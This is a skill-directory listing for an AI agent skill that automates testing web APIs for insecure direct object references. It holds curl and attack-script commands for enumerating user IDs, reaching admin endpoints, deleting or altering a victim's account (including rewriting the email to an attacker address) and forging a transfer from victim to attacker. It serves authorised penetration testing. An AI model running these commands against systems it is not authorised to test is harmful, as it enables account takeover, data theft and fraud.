IDOR automated testing — cross-account access, horizontal/vertical privilege escalation, mass data exposure
Scanned 9/3/2026
Install to Claude Code
npx -y skills add CyberStrikeus/CyberStrike --skill attack-idor-automation --agent claude-codeInstalls into .claude/skills of the current project.
Are you the author of Attack Idor Automation?
Add the live security badge to your README — it updates automatically with every re-scan.
[](https://www.skillsdirectory.com/skills/cyberstrikeus-attack-idor-automation)More formats (shields.io, HTML) on the badges page.
---
name: attack-idor-automation
description: "IDOR automated testing — cross-account access, horizontal/vertical privilege escalation, mass data exposure"
category: "web-application"
version: "1.0"
author: "cyberstrike-official"
tags:
- idor
- bac
- access-control
- web
- attack
tech_stack:
- web
cwe_ids:
- CWE-639
- CWE-284
chains_with:
- attack-jwt
- attack-graphql
prerequisites: []
severity_boost:
attack-jwt: "JWT tamper + IDOR = full account takeover"
---
# IDOR Automated Testing
## Objective
Systematically test all API endpoints for Insecure Direct Object Reference vulnerabilities using two accounts with different privilege levels.
## Testing Methodology
### Phase 1: Set Up Two Accounts
1. **Account A** (victim) — owns resources being tested
2. **Account B** (attacker) — tries to access Account A's resources
### Phase 2: Automated Cross-Account Testing
```bash
# Test endpoints from file
attack_script idor_tester \
--token-a "VICTIM_JWT" \
--token-b "ATTACKER_JWT" \
--endpoints endpoints.txt \
--json-output
# Test comma-separated endpoints
attack_script idor_tester \
--token-a "VICTIM_JWT" \
--token-b "ATTACKER_JWT" \
--endpoints "https://TARGET/api/users/123,https://TARGET/api/orders/456,https://TARGET/api/profile/123" \
--method GET
# Test write operations
attack_script idor_tester \
--token-a "VICTIM_JWT" \
--token-b "ATTACKER_JWT" \
--endpoints endpoints.txt \
--method PUT \
--data '{"name":"pwned"}'
```
### Phase 3: Manual Testing Patterns
**Horizontal IDOR (same role, different user):**
```bash
# Sequential IDs
curl -H "Authorization: Bearer ATTACKER_TOKEN" https://TARGET/api/users/1
curl -H "Authorization: Bearer ATTACKER_TOKEN" https://TARGET/api/users/2
# UUID guessing (if predictable)
curl -H "Authorization: Bearer ATTACKER_TOKEN" https://TARGET/api/users/UUID_OF_OTHER_USER
# Endpoint enumeration
for id in $(seq 1 100); do
curl -s -o /dev/null -w "%{http_code} " -H "Authorization: Bearer ATTACKER_TOKEN" "https://TARGET/api/orders/$id"
done
```
**Vertical IDOR (low-priv accessing high-priv):**
```bash
# User accessing admin endpoints
curl -H "Authorization: Bearer USER_TOKEN" https://TARGET/api/admin/users
curl -H "Authorization: Bearer USER_TOKEN" https://TARGET/api/admin/settings
curl -H "Authorization: Bearer USER_TOKEN" https://TARGET/api/internal/reports
```
### Phase 4: HTTP Method Switching
```bash
# GET blocked but DELETE works
curl -X DELETE -H "Authorization: Bearer ATTACKER_TOKEN" https://TARGET/api/users/VICTIM_ID
# GET blocked but PATCH works
curl -X PATCH -H "Authorization: Bearer ATTACKER_TOKEN" https://TARGET/api/users/VICTIM_ID \
-d '{"email":"attacker@evil.com"}'
```
### Phase 5: Parameter Pollution
```bash
# Dual ID injection
curl "https://TARGET/api/profile?user_id=ATTACKER&user_id=VICTIM"
# Body override
curl -X POST https://TARGET/api/transfer \
-H "Authorization: Bearer ATTACKER_TOKEN" \
-d '{"from":"VICTIM_ID","to":"ATTACKER_ID","amount":1000}'
```
### Phase 6: Response Comparison
```bash
# Compare responses between two auth contexts
attack_script response_diff "https://TARGET/api/users/VICTIM_ID" \
--header-a "Authorization:Bearer VICTIM_TOKEN" \
--header-b "Authorization:Bearer ATTACKER_TOKEN" \
--json-output
```
## What Constitutes a Finding
| Finding | Severity |
|---------|----------|
| Read other user's PII (email, SSN, etc.) | Critical (P1) |
| Modify other user's data | Critical (P1) |
| Delete other user's resources | Critical (P1) |
| Access admin functionality | Critical (P1) |
| Read non-sensitive data of other user | Medium (P3) |
## Evidence Requirements
- Two different auth tokens used
- Endpoint tested
- Account A (victim) response as baseline
- Account B (attacker) accessing Account A's resource
- Data received proving cross-account access
## Tools
- `attack_script idor_tester` — automated cross-account testing
- `attack_script response_diff` — response comparison
- `attack_script jwt_tamper` — token manipulation for IDOR
## References
- [OWASP: IDOR](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References)
- [PortSwigger: Access Control](https://portswigger.net/web-security/access-control/idor)
Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.
No comments yet. Be the first to comment!